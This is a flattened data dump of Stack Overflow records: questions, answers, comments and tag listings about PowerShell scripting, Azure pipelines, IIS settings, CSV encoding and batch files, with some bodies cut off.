comment on: http://stackoverflow.com/q/79158483
has text: Then please update your post so we can see it is fiixed
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79238869
has body: It depends on where you're running it from. Running that command from another powershell requires another set of quotes. You wouldn't need it from cmd. The default is -command in powershell 5.1. Without the right quoting, it's taken as a scriptblock, or a nonexistent member. # script.ps1 param ($device) $device $device | % gettype powershell .\script.ps1 &quot;'{000}'&quot; {000} IsPublic IsSerial Name BaseType -------- -------- ---- -------- True True String System.Object
type: Answer
answers question: http://stackoverflow.com/q/79238760
score: 0

cmake
tag name: cmake
type: Tag
tags question: http://stackoverflow.com/q/79149663
tags question: http://stackoverflow.com/q/79236266

http://stackoverflow.com/a/79111268
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/79108858
score: 1
upvote count: 1
has body: I seem to have forgotten that most Cygwin binaries are not statically compiled, so they all depend on having the Cygwin1.dll in the same directory. However, for some unknown reason, the DLL popup warning never showed up for me, until after having restarted my machine. So there are (at least) 3 solutions here: Copy both your Cygwin binary (here tree.exe) and cygwin1.dll to a separate directory in you PATH. Create a symbolic link to the already existing binary in C:\Cygwin64\bin\tree.exe. Create an alias in your Powershell $PROFILE, pointing to the original binary. Set-Alias tree 'C:\cygwin64\bin\tree.exe' IMPORTANT Do not place the copied binaries into the C:\\Windows\System32 directory. And as mentioned in comments, do not rename or change anything here, as it will be overwritten on your next windows update. Instead, place them in a separate directory in you path. This is probably a bad idea, if you're also using git-bash or MinGW64/MSYS shells as they have their own Cygwin commands for the same. So there is no telling which version will take precedence in those shells. (And it's easy to forget what you did.)

http://stackoverflow.com/comment/139648361
has text: My bad for placing the "md" command. Good catch. Still, I tried it with a whole lot of other functions and could not get it to work like it does in the particular instance of `mkdir`. What makes "mkdir" so special? `Get-Command mkdir` does not return even the params, let alone body. Still +1, thanks for pointing out my mistake pointing out `md` and not something else.
comment on: http://stackoverflow.com/a/79194293
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139433236
has text: @MathiasR.Jessen Added the powershell output.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79074595

http://stackoverflow.com/comment/139423043
score: 1
has text: @zett42 sounds like a good answer
type: QuestionComment
comment on: http://stackoverflow.com/q/79069816
type: Comment

azure-managed-app
tags question: http://stackoverflow.com/q/79135538
tag name: azure-managed-app
type: Tag

http://stackoverflow.com/a/79188477
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79187932
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79187932
type: Answer
has body: Use the -OutVariable common parameter to store the output from Invoke-Command in a variable while still sending it downstream: Invoke-Command -Session $Session -Scriptblock { python path\to\script\print_stuff.py } -OutVariable returnValue Now you'll get the output on screen as it's sent and have a copy stored in $returnValue
score: 1

http://stackoverflow.com/a/79142129
score: 0
answers question: http://stackoverflow.com/q/79141636
has body: Write-host converts an XmlElement object to a string/InformationRecord (message property is '' in this case). Better to use write-output or nothing: $xconf.Settings.Element1 Attr1 #text ----- ----- AttrValue1 ElemValue1 $xconf.Settings.Element2 ElemValue2 write-host $xconf.Settings.Element1 6&gt;&amp;1 | select * WriteInformationStream : True MessageData : Source : Write-Host TimeGenerated : 10/30/2024 1:39:08 PM Tags : {PSHOST} User : AD\js Computer : MYCOMP ProcessId : 10852 NativeThreadId : 3956 ManagedThreadId : 9
type: Answer

http://stackoverflow.com/comment/139507027
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
has text: Try adding $latestKey | format-list I often use format-list to help with the debugging

http://stackoverflow.com/q/79165959
type: AnsweredQuestion
has body: I'm running an IIS web server on Windows Server 2019, and I need to disable HTTP/2 for some specific sites while keeping it enabled for others. I know that I can disable HTTP/2 globally by setting the following registry keys: For TLS: HKLM:\System\CurrentControlSet\Services\HTTP\Parameters EnableHttp2Tls (DWORD) = 0 For clear text (non-TLS): HKLM:\System\CurrentControlSet\Services\HTTP\Parameters EnableHttp2Cleartext (DWORD) = 0 However, this approach disables HTTP/2 for all sites on the server. Is there a way to disable HTTP/2 for specific sites or applications in IIS using PowerShell or any other method? I've looked into the IIS configuration settings but couldn't find an option to control HTTP/2 at the site level. Any guidance or scripts to achieve this would be greatly appreciated. Environment: Windows Server 2019 IIS 10 What I've Tried: Modifying the global registry keys (disables HTTP/2 server-wide) Searching through IIS site-level settings via PowerShell
score: 0
tagged with: iis
tagged with: windows-server-2019
has title: How to Disable HTTP/2 for Specific Sites in IIS Using PowerShell?
tagged with: http2
type: Question
has answer: http://stackoverflow.com/a/79168714
tagged with: powershell
answer count: 1
accepted answer: http://stackoverflow.com/a/79168714

http://stackoverflow.com/comment/139607710
has text: Well, the most important thing with a data corruption is to investigate how it happened and to ensure that it doesn't happen again. I can't help you with that. As for repairing the bad data, If my suggestion turns out to be correct (which you can confirm fairly easily by looking at the binary file in a hex editor) then there are plenty of conversion tools to change the encoding
comment on: http://stackoverflow.com/q/79166949
type: QuestionComment
type: Comment
score: 0

convertfrom-json
type: Tag
tag name: convertfrom-json
tags question: http://stackoverflow.com/q/79201027

http://stackoverflow.com/comment/139731613
type: QuestionComment
type: Comment
has text: What is `$connection`? It is $null from what we can see.
score: 0
comment on: http://stackoverflow.com/q/79239345

http://stackoverflow.com/comment/139666067
score: 0
has text: I've tried `%POD_NAME%`, `%$POD_NAME%`, `$%POD_NAME%` and all of them with double %, but I can't seem to make any of them work. Maybe I'm doing it wrong, it looks like this: `curl http://localhost:8001/api/v1/namespaces/default/pods/%POD_NAME%:8080/proxy`
comment on: http://stackoverflow.com/q/79203992
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79173063
has body: Based on comments, what it seemed you were looking for is parallel processing of pipeline input object in which case PowerShell 7 comes with built-in -Parallel parameter on ForEach-Object and with -ThrottleLimit you can control how many tasks can run at a time, in essence your code could be: CommandA | ForEach-Object -Parallel { ...action per input object... } -ThrottleLimit 10 | CommandB If you're on Windows PowerShell 5.1 you can look at PSParallelPipeline as a replacement since there is no -Parallel parameter there.
has comment: http://stackoverflow.com/comment/139609897
downvote count: 0
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/139609940
answers question: http://stackoverflow.com/q/79172648

http://stackoverflow.com/q/79213372
has title: Powershell create Access>External Data; Link Specification' does not exist. You cannot import, export, or link using the specification
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139683815
tagged with: powershell
has body: I have access to a remote database that consists of over 100+ csv files with a dozen columns and over 150k lines in each file; about 16g of total data. I need to create an Access external link to each file for pulling pivot data to be exported for each individual file. I can do this manually with Access>External Data>New Data Source>From File>Text File> file address” and then create a query for each linked file. When I use a PS script it fails. My intent is to create these Access links with Powershell. The following is an example of by script; $filePath = "$env:userprofile\Desktop\Donation_Data\itcont_2020_20191129_20191224.csv" $accessApp = New-Object -ComObject Access.Application $accessApp.Visible = "True" #I want to see Access opened to make sure the link is installed $databasePath = "$env:userprofile\Desktop\Donations.accdb" $accessApp.OpenCurrentDatabase($databasePath) $db = $accessApp.CurrentDb() $tableDef = $db.CreateTableDef("itcont_2020_20191129_20191224") $tableDef.SourceTableName = "itcont_2020_20191129_20191224.csv" $tableDef.Connect = "Text;DSN=itcont_2020_20191129_20191224 Link Specification;FMT=Delimited;HDR=NO;IMEX=2;CharacterSet=437;ACCDB=YES;DATABASE=C:\Users\fkram\Desktop\Donation_Data" $db.TableDefs.Append($tableDef) $tableDef #Shows the tableDef configuration is in memory ready to be appended. The problem shows after implementing $db.TableDefs.Append($tableDef). You received the error OperationStopped: The text file specification ' itcont_2020_20191129_20191224 Link Specification' does not exist. You cannot import, export, or link using the specification. Here is the thing. I can manually link the same csv file using Access and following Access>External Data>New Data Source>From File>Text File>” file address. When I then pull the $db.TableDefs command in powershell it shows the exact same configuration as $tableDef configuration I tried to append. Now the interesting aspect. If I delete the manually installed link, then re implement the powersh…
has comment: http://stackoverflow.com/comment/139682801
type: UnansweredQuestion
score: 0

http://stackoverflow.com/comment/139521477
has text: @Ashar: Please include a consolidated workflow with all the relevant steps. Also, add the output of `git lfs version`. Are you using a self-hosted runner?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79110614
score: 0

vnet
tag name: vnet
type: Tag
tags question: http://stackoverflow.com/q/79085814

http://stackoverflow.com/comment/139605797
type: QuestionComment
type: Comment
score: 0
has text: As an aside: [`Write-Host` is typically the wrong tool to use](http://www.jsnover.com/blog/2013/12/07/write-host-considered-harmful/), unless the intent is to write _to the display only_, bypassing the success output stream and with it the ability to send output to other commands, capture it in a variable, redirect it to a file. To output a value, use it _by itself_; e.g., `$value` instead of `Write-Host $value` (or use `Write-Output $value`, though that is rarely needed). See also: the bottom section of [this answer](https://stackoverflow.com/a/50416448/45375).
comment on: http://stackoverflow.com/q/79170631

ascii
type: Tag
tag name: ascii
tags question: http://stackoverflow.com/q/79211988
tags question: http://stackoverflow.com/q/79457447

http://stackoverflow.com/comment/139639422
has text: @SantiagoSquarzon In that example above it's the windows service that started the service host.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79189293

http://stackoverflow.com/comment/139684490
has text: Probably the repository is a shallow clone that does not contain more than the head commit. Se [this question](https://stackoverflow.com/q/6802145/23118) for how unshallow.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79214443
score: 1

http://stackoverflow.com/a/79105515
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/79105294
downvote count: 0
type: Answer
has body: Your problem is neither related to the console's active code page (as reported by chcp.com)[1] nor can it be helped with the use of the long-path opt-in, \\?\. Your symptom implies that Import-Csv is misinterpreting the character encoding of your CSV file. Specifically, it seems that your CSV file is saved with a fixed-width, single-byte encoding, such as that of the system locale's ANSI code page, such as Windows-1252 on US-English systems, whereas Import-Csv expects UTF-8 in the absence of a BOM.[2] In Windows-1252, for instance, the è (LATIN SMALL LETTER E WITH GRAVE, U+00E8) character is encoded as a single byte with value 0xE8 (232), which, when misinterpreted as UTF-8, is an invalid character (because any byte with the high bit set, i.e. with value &gt;= 0x80 (128), must be part of a multi-byte sequence encoding a single non-ASCII char.) and therefore gets replaced with � (REPLACEMENT CHARACTER, U+FFFD) to signal that fact. You can verify this as follows: # -&gt; � [Text.Encoding]::UTF8.GetString([byte[]] 0xE8) Solution options: Either: Pass the appropriate -Encoding argument Import-Csv: Windows PowerShell: use -Encoding Default (which refers to the active ANSI code page). PowerShell (Core) 7: In v7.4+: Use -Encoding ansi In v7.3-: Use -Encoding 1252 (for Windows-1252, specifically, because the abstract ansi identifier isn't supported there). Note: If the actual encoding of the CSV file is not that of the active ANSI code page: Windows PowerShell: You cannot use -Encoding in this case, because it doesn't accept arbitrary encodings; re-save your file as UTF-8 (see below). PowerShell (Core) 7: Use the number of the code page as the -Encoding argument, e.g. -Encoding 1251 Or: Re-save your CSV file as UTF-8, which ensures that Import-Csv in both PowerShell editions interprets it correctly. If you're using an editor to do so, first visually inspect the file content to ensure that it was read correctly; re-open the file with the actual encoding if needed (which is l…

http://stackoverflow.com/comment/139510565
has text: Hmmm.... yeah, but new linux does virtualization, and the addresses are different. I was to demonstrate that with a pdp-11 (that has virtual memory too) but it could be valid to do it with linux kernel 1.2.13 and a 386 processor, with paged virtual memory, and you will get the same virtual address. I explained the reason of getting different addresses, is not enough to you my explanation?
type: Comment
comment on: http://stackoverflow.com/a/79095339
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139618200
has text: @sirtao A _literal_ is any source code element that maps to some well defined runtime value. The source code syntax `@{}` is an empty hashtable literal. Perhaps you're confusing literal with _verbatim_ (the label we might use to describe a single-quoted string literal)?
type: Comment
score: 3
comment on: http://stackoverflow.com/a/79174200
type: AnswerComment

http://stackoverflow.com/comment/139596427
comment on: http://stackoverflow.com/a/79132466
type: Comment
has text: "In my organization I have more than 500" - Can you double check if there are more than 500 users in your organization? If you check the user list from Organization settings, service principles and managed identities are also in the list by default. But this API doesn't return info related to SP and MI.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139476396
score: 0
comment on: http://stackoverflow.com/a/79098740
type: AnswerComment
has text: @MathiasR.Jessen I just wanted to simulate reading a file blob, by manually typing in a string. And to be able to pass anything to then be able to understand and use the `[system.bitconverter]`.
type: Comment

http://stackoverflow.com/comment/139589088
score: 0
comment on: http://stackoverflow.com/q/79160366
type: QuestionComment
type: Comment
has text: what's the result of `$folder.FullName.GetType().ToString()`? Because if it's a array that might explain it. Piping causes it to be unrolled implicitly, that's why it works.

http://stackoverflow.com/comment/139640677
type: AnswerComment
comment on: http://stackoverflow.com/a/79189007
has text: If you want to only work on the immediate subdirectory, use `-Depth 0` instead of `-Recurse`.
type: Comment
score: 0

powershell-sdk
type: Tag
tag name: powershell-sdk
tags question: http://stackoverflow.com/q/79177876
tags question: http://stackoverflow.com/q/79401172

http://stackoverflow.com/comment/139702655
type: QuestionComment
comment on: http://stackoverflow.com/q/79224521
type: Comment
score: 0
has text: I have no experiences with VMWare but I don't see the issue. You can run whatever you want from within the same script/session. ‍♂️ ... I guess I'm missing something.

http://stackoverflow.com/comment/139683014
score: 0
type: AnswerComment
has text: @StanislavCastek It is called `Thunder Client`
type: Comment
comment on: http://stackoverflow.com/a/79094399

http://stackoverflow.com/comment/139542263
comment on: http://stackoverflow.com/q/79136438
type: QuestionComment
type: Comment
score: 0
has text: This is unlikely a PowerShell (scripting) issue but more likely an side effect of [Windows Fast Logon Optimization](https://learn.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj573586(v=ws.11))

http://stackoverflow.com/comment/139690717
comment on: http://stackoverflow.com/a/79216575
has text: @js2010 I know you can and there is no point in doing that in this case.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139657900
type: Comment
comment on: http://stackoverflow.com/a/79196055
score: 0
type: AnswerComment
has text: Glad to hear it, @meh, and thanks for the feedback.

http://stackoverflow.com/a/79163531
answers question: http://stackoverflow.com/q/79163395
has body: checkout: self downloads only the current repo (Repo2). You may Check out multiple repositories in your pipeline: - name: parameter1 type: string - name: parameter2 type: string jobs: - job: Job1 steps: - checkout: Repo1 - checkout: self - task: AzureCLI@2 inputs: azureSubscription: '$(GLOBAL_SERVICE_CONNECTION)' scriptType: 'pscore' scriptLocation: 'scriptPath' scriptPath: '$(System.DefaultWorkingDirectory)/Repo1/helper_scripts/script.ps1' arguments: '-WebhookURL &quot;${{ parameters.parameter1 }}&quot; -KeyVaultsToCheck &quot;${{ parameters.parameter2 }}&quot;' env: GLOBAL_SUBSCRIPTION: $(GLOBAL_SUBSCRIPTION) In this case, you may move your template and referenced scripts to a separate repo to use one approach for Repo1 and Repo2. - checkout: TemplateRepo - checkout: self ...... scriptPath: '$(System.DefaultWorkingDirectory)/TemplateRepo/helper_scripts/script.ps1'
type: Answer
score: 0

http://stackoverflow.com/comment/139605555
type: QuestionComment
score: 2
type: Comment
has text: `Write-Host ($products | Sort-Object -Property ProductCode)` <-- ensure the data is sorted before it's passed to `Write-Host`
comment on: http://stackoverflow.com/q/79170631

http://stackoverflow.com/comment/139435151
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79077603
has text: Tnx! I can do just `[hashtable[]]$aoo = foreach ($id in $idRange) { @{} }` to get array of empty hashtables and `$aoo[2]['x'] = 7` for adding/updating properties, right?
type: Comment

http://stackoverflow.com/comment/139652445
score: 1
comment on: http://stackoverflow.com/q/79196182
type: QuestionComment
type: Comment
has text: I'm far from being a powershell expert but the c# looks solid. My guess is that the powershell/c# operates on run time and not compile time, and the run time doesn't catch the compilation error - but as I said, this is just a guess. Hopefully, you'll get a solid answer from someone that knows powershell better than me :-)

http://stackoverflow.com/comment/139528974
type: Comment
comment on: http://stackoverflow.com/q/79116129
has text: Unfortunately, I am still unable to make this work. Always errors or looks like it goes through, but nothing happens.
score: 0
type: QuestionComment

iis
tags question: http://stackoverflow.com/q/79165959
tag name: iis
type: Tag
tags question: http://stackoverflow.com/q/79278245
tags question: http://stackoverflow.com/q/79532456
tags question: http://stackoverflow.com/q/79531097
tags question: http://stackoverflow.com/q/79539923

http://stackoverflow.com/comment/139621077
type: QuestionComment
has text: I am running this as an account in the Domain Admins group but even running as NT AUTHORITY\SYSTEM which is the Owner and Group of the container Get-ACL thinks the container does not exist, this seems like an issue/oversight with the powershell command itself rather than a permissions issue.
comment on: http://stackoverflow.com/q/79179274
type: Comment
score: 0

http://stackoverflow.com/comment/139583105
comment on: http://stackoverflow.com/q/79158483
type: QuestionComment
type: Comment
score: 0
has text: Thanks for your responses. @OldBoy, the value is 0 because it couldn't find the window. Additionally, if you meant that I should try [WinAPI]::GetWindowText, I receive the error: "Error calling the method because [WinAPI] does not contain a method named 'GetWindowTextA'."

http://stackoverflow.com/comment/139432342
has text: You need to recover the actual status code returned by the web server, and look at what it has actually sent you. If Adobe are defending against bots and scrapers then it's possible you're getting a 403 (Forbidden) code, and your output file contains a corresponding message.
comment on: http://stackoverflow.com/q/79076263
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/139553894
type: Comment
comment on: http://stackoverflow.com/a/79140197
score: 0
has text: Re 1: It may be surprising, but you _can_ invoke Windows binaries from WSL, as long as you include the `.exe` extension in the invocation; see https://dmartinsdesa.medium.com/how-to-invoke-and-use-windows-programs-in-wsl2-fb88a02ed3f2. E.g., invoking `powershell.exe -c "'hi there'"` from WSL Bash works just fine.
type: AnswerComment

http://stackoverflow.com/comment/139462510
type: Comment
has text: Hi @James1, glad to hear you issue has been resolved. You can add your solution as an answer. This will help other users who has the same issue to find the solution easily. Just a reminder ;)
comment on: http://stackoverflow.com/q/79084760
score: 0
type: QuestionComment

git-log
tag name: git-log
tags question: http://stackoverflow.com/q/79120662
type: Tag

http://stackoverflow.com/comment/139651625
type: Comment
has text: @alx9r: I've also realized that what I said about Santiago's answer (it working to define a function in the _caller_'s scope if placed inside a module with `global:` removed) isn't actually true, so I've removed it from the answer. It's unclear to me why, but I'm not inspired to go down that rabbit hole.
comment on: http://stackoverflow.com/a/79193354
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139585874
type: QuestionComment
comment on: http://stackoverflow.com/q/79149164
type: Comment
score: 0
has text: The garbage collection only runs when the memory is needed. If the memory leak is small, you may not see the GC remove the items.

http://stackoverflow.com/comment/139666471
type: QuestionComment
comment on: http://stackoverflow.com/q/79202910
type: Comment
score: 0
has text: I add the function LogEntry

http://stackoverflow.com/a/79072401
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139432473
downvote count: 0
has comment: http://stackoverflow.com/comment/139429899
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/79072082
score: 1
has body: In your showing script, $deleteUri returns https://www.googleapis.com/drive/v3/files/=true. I thought that this might be the reason for your current issue. So, how about the following modification? From: $deleteUri = "https://www.googleapis.com/drive/v3/files/$fileId?supportsAllDrives=true" To: $deleteUri = "https://www.googleapis.com/drive/v3/files/${fileId}?supportsAllDrives=true" By this modification, $deleteUri returns https://www.googleapis.com/drive/v3/files/###fileId###?supportsAllDrives=true. Also, I confirmed that the modified script worked.
accepted answer of: http://stackoverflow.com/q/79072082

http://stackoverflow.com/a/79094399
upvote count: 1
has comment: http://stackoverflow.com/comment/139683014
has body: You can list all the workflows created in a standard logic app by using below REST API. You need to add a Bearer token while invoking this rest api which should have user_impersonation permission. GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{LogicAppName}/workflows?api-version=2018-11-01 To get the details of a particular workflow, you can use the given Rest API. GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{LogicAppName}/workflows/{workflowName}?api-version=2018-11-01 In order to fetch the workflow url or callback url you can either use Workflows - List Callback Url REST API or the below given PowerShell script which I have referred from here. $subscription = ‘subscriptionId’ $ResourceGroupName = ‘resourceGroupName’ $LogicAppName = ‘LogicAppName’ $workflowName = ‘workflowName’ $workflowDetails = az rest --method post --uri https://management.azure.com/subscriptions/$subscription/resourceGroups/$ResourceGroupName/providers/Microsoft.Web/sites/$LogicAppName/hostruntime/runtime/webhooks/workflow/api/management/workflows/$workflowName/triggers/When_a_HTTP_request_is_received/listCallbackUrl?api-version=2018-11-01 $callbackUrl = ($workflowDetails | ConvertFrom-Json).value Write-Host "The Workflow URL is: $callbackUrl"
answers question: http://stackoverflow.com/q/79094130
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139682114
accepted answer of: http://stackoverflow.com/q/79094130
type: Answer
downvote count: 0

http://stackoverflow.com/comment/139531943
type: QuestionComment
comment on: http://stackoverflow.com/q/79130831
score: 2
type: Comment
has text: Did you review [`about_Execution_Policies`](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies)?

http://stackoverflow.com/comment/139594500
has text: You need double quotes around the backquote r backquote n. You don't need a continuation character after a comma.
type: AnswerComment
comment on: http://stackoverflow.com/a/79164682
type: Comment
score: 0

http://stackoverflow.com/comment/139435944
score: 3
has text: `$a = $process.ID` gives you an array of process ID values. In a pipeline you can also use `$process | Select-Object -ExpandProperty ID` or `$process | ForEach-Object ID`.
comment on: http://stackoverflow.com/q/79078234
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139474061
comment on: http://stackoverflow.com/q/79091983
has text: The group is being assigned using the cmdlet `New-AzRoleAssignment` what seems to be happening is that the role is permanently assigned.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139682114
score: 0
comment on: http://stackoverflow.com/a/79094399
type: AnswerComment
has text: Hello, seems that you have there some kind of REST client for VSCode. Could you please share which one is it?
type: Comment

http://stackoverflow.com/comment/139717340
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79227225
has text: You're misrepresenting what I typed to suit your own purposes @mklement0. I said it **should** be quoted, not it **must** be quoted. I then used a space which is a default delimiter in a `for /f` loop, and showed it in use quoted, _(which you admit is required)_. What I typed is correct, yet you feel compelled to imply otherwise.

azure-automation
tags question: http://stackoverflow.com/q/79229813
tag name: azure-automation
type: Tag
tags question: http://stackoverflow.com/q/79188856
tags question: http://stackoverflow.com/q/79362037
tags question: http://stackoverflow.com/q/79352579
tags question: http://stackoverflow.com/q/79290835
tags question: http://stackoverflow.com/q/79325726
tags question: http://stackoverflow.com/q/79523633
tags question: http://stackoverflow.com/q/79475834
tags question: http://stackoverflow.com/q/79467129

http://stackoverflow.com/q/79212736
type: Question
has title: Get all Azure policy definitions related to customer managed keys using PowerShell or ArmClient
tagged with: powershell
answer count: 1
has answer: http://stackoverflow.com/a/79213598
tagged with: azure
has body: I want to automate the process of listing all policies in Azure that support Customer-managed keys for Azure Storage encryption. Right now my current approach is to search for them in the Azure portal directly. I want to automate this process to check on this status frequently. Some quick approaches I see are to use either PowerShell or C# and the ArmClient API to query the policyDefinitions based on a string match. This string match does not account for edge cases like if the acronym "CMK" is used or if the text of the description changes potentially under different languages. Wondering if there is a more scalable approach or any alternatives that anyone can share? PowerShell potential option: Get-AzPolicyDefinition | Where-Object { $_.Properties.Description -like "*customer managed keys*"} Potential endpoint I can call from an API: "/providers/Microsoft.Authorization/policyDefinitions?$filter=properties/description+contains+'customer+managed+keys'"
type: UnansweredQuestion
tagged with: azure-policy
score: 0

tolower
type: Tag
tags question: http://stackoverflow.com/q/79090297
tag name: tolower

windows-server
tags question: http://stackoverflow.com/q/79094880
tag name: windows-server
type: Tag
tags question: http://stackoverflow.com/q/79399193
tags question: http://stackoverflow.com/q/79286482
tags question: http://stackoverflow.com/q/79290848

http://stackoverflow.com/comment/139688877
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79216817
has text: What should happen if one of the emails doesnt exist in the CSV?

http://stackoverflow.com/comment/139467359
type: QuestionComment
has text: @P-L I only have access to this one computer.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79095222

powerbi
type: Tag
tags question: http://stackoverflow.com/q/79098114
tag name: powerbi
tags question: http://stackoverflow.com/q/79093149
tags question: http://stackoverflow.com/q/79269478
tags question: http://stackoverflow.com/q/79272560
tags question: http://stackoverflow.com/q/79290848
tags question: http://stackoverflow.com/q/79505588
tags question: http://stackoverflow.com/q/79421536
tags question: http://stackoverflow.com/q/79423035
tags question: http://stackoverflow.com/q/79503222
tags question: http://stackoverflow.com/q/79498342

powerpoint
tags question: http://stackoverflow.com/q/79207740
type: Tag
tag name: powerpoint

http://stackoverflow.com/comment/139595854
type: AnswerComment
comment on: http://stackoverflow.com/a/79132466
type: Comment
has text: In my organization I have more than 500. The API https://vsaex.dev.azure.com//_apis/userentitlements?top=2000&api-version=7.0 returns 196 users. From this 196 users 4 have "assignmentSource": "unknown" and the other have "assignmentSource": "groupRule". The users with direct assignment are over 40
score: 0

http://stackoverflow.com/comment/139666494
comment on: http://stackoverflow.com/q/79202910
type: QuestionComment
type: Comment
score: 0
has text: @KEM Alright, then consider changing `$moment = get-date -f "yyyy-MM-dd HH:mm"` to `$moment = get-date -f "yyyy-MM-dd HH:mm:ss.fff"` - getting better granularity in the time stamps will help you determine whether there's 5 seconds or 60 seconds between two callsites :)

azure-pipelines-yaml
type: Tag
tags question: http://stackoverflow.com/q/79163395
tag name: azure-pipelines-yaml
tags question: http://stackoverflow.com/q/79097075
tags question: http://stackoverflow.com/q/79245262
tags question: http://stackoverflow.com/q/79399774
tags question: http://stackoverflow.com/q/79335299
tags question: http://stackoverflow.com/q/79343590

http://stackoverflow.com/a/79216952
answers question: http://stackoverflow.com/q/79216721
type: Answer
has body: Worked it out in the end, was close... Escaped the ' in the variable with double quotes and back slashes @echo off setlocal enabledelayedexpansion set csvFile=Users.csv echo givenName,familyName,email>%csvFile% set INPUT_FILE=email.txt set "REGEXP=[\.A-Z0-9\-_][\.A-Z0-9\-_]*@[\.A-Z\-_][\.A-Z\-_]*" for /f "tokens=*" %%a in (%INPUT_FILE%) do for %%b in (%%a) do ( for /f %%z in ('echo %%b ^| findstr /R /I "%REGEXP%"') do ( set emails=%%z for /f "tokens=1 delims=." %%a in ("!emails!") do (set given1=%%a) for /f "tokens=2 delims=.;@" %%i in ("!emails!") do (set family1=%%i) for /f "usebackq delims=" %%l in (`powershell -command "[CultureInfo]::CurrentCulture.TextInfo.ToTitleCase('!given1!')"`) do set "given=%%l" for /f "usebackq delims=" %%m in (`powershell -command "[CultureInfo]::CurrentCulture.TextInfo.ToTitleCase(\"!family1!\")"`) do set "family=%%m" for /f "usebackq delims=" %%n in (`powershell -command "$input=\"!family!\"; $output=$input -replace '\d',''; $output"`) do set "outputString=%%n" echo !given!,!outputString!,!emails!>>%csvFile% ) )
score: 0

http://stackoverflow.com/comment/139517521
score: 0
comment on: http://stackoverflow.com/a/79121799
type: AnswerComment
has text: I included Convert-FIleName on the code now also i created a custom-cache function. I am including the new code with custom-cache function on the post.
type: Comment

azure-pipelines
tags question: http://stackoverflow.com/q/79163395
type: Tag
tags question: http://stackoverflow.com/q/79234361
tags question: http://stackoverflow.com/q/79097075
tags question: http://stackoverflow.com/q/79214443
tags question: http://stackoverflow.com/q/79117140
tags question: http://stackoverflow.com/q/79176549
tags question: http://stackoverflow.com/q/79111831
tag name: azure-pipelines
tags question: http://stackoverflow.com/q/79183970
tags question: http://stackoverflow.com/q/79245262
tags question: http://stackoverflow.com/q/79391481
tags question: http://stackoverflow.com/q/79399774
tags question: http://stackoverflow.com/q/79335299
tags question: http://stackoverflow.com/q/79323653
tags question: http://stackoverflow.com/q/79343590
tags question: http://stackoverflow.com/q/79278526
tags question: http://stackoverflow.com/q/79297824
tags question: http://stackoverflow.com/q/79483185
tags question: http://stackoverflow.com/q/79499925
tags question: http://stackoverflow.com/q/79507780
tags question: http://stackoverflow.com/q/79547166
tags question: http://stackoverflow.com/q/79484001

http://stackoverflow.com/a/79141613
type: Answer
answers question: http://stackoverflow.com/q/79137119
score: 0
has body: I may have missed the reason you're not using CMDLETs instead of "net" command line syntax, but have you tried? Get-SMBShare | Where-Object {$_.Name -notlike "*$*"} | ForEach-Object {Get-SMBShareAccess -Name $_.Name}

http://stackoverflow.com/a/79223143
upvote count: 1
score: 1
has body: The -ms alias of the -MilliSeconds parameter of the Start-Sleep cmdlet is only available in PowerShell (Core) 7 (the modern, cross-platform, install-on-demand edition), not also in Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1) Therefore, in code that must (also) run on Windows PowerShell, use the parameter's full name, -MilliSeconds PowerShell uses the invariant culture in many string operations, which is based on - but not identical to - the US-English culture. The idea is to provide a predictable scripting experience that isn't affected by what culture happens to be in effect on a given machine. See this answer for background information. As such, in date formats that do not start with a 4-digit year, only US-style month-first formats are recognized, so your cast would need to put the month first: [datetime] '09/30/2024 12:00:00' (represents 30 September 2024 at noon (12 PM)) That said, to avoid potential confusion, you can use an unambiguous yyyy-MM-dd format (along with a 24-hour time-of-day specification, which you already seem to be using): [datetime] '2024-09-30 12:00:00' Therefore: #requires -RunAsAdministrator $date = [datetime] '2024-09-30 00:00:00' # CAVEAT: # Setting your computer's clock to an arbitrary point in time can have # undesired consequences. while ($true) { Set-Date $date; Start-Sleep -MilliSeconds 100 }
answers question: http://stackoverflow.com/q/79222400
type: Answer
downvote count: 0

reverse
tag name: reverse
tags question: http://stackoverflow.com/q/79095487
type: Tag

http://stackoverflow.com/q/79098625
type: Question
answer count: 0
tagged with: powershell
has title: Create local Windows 10 user and programmatically answer the privacy/advertising questions
score: 0
has comment: http://stackoverflow.com/comment/139688112
type: UnansweredQuestion
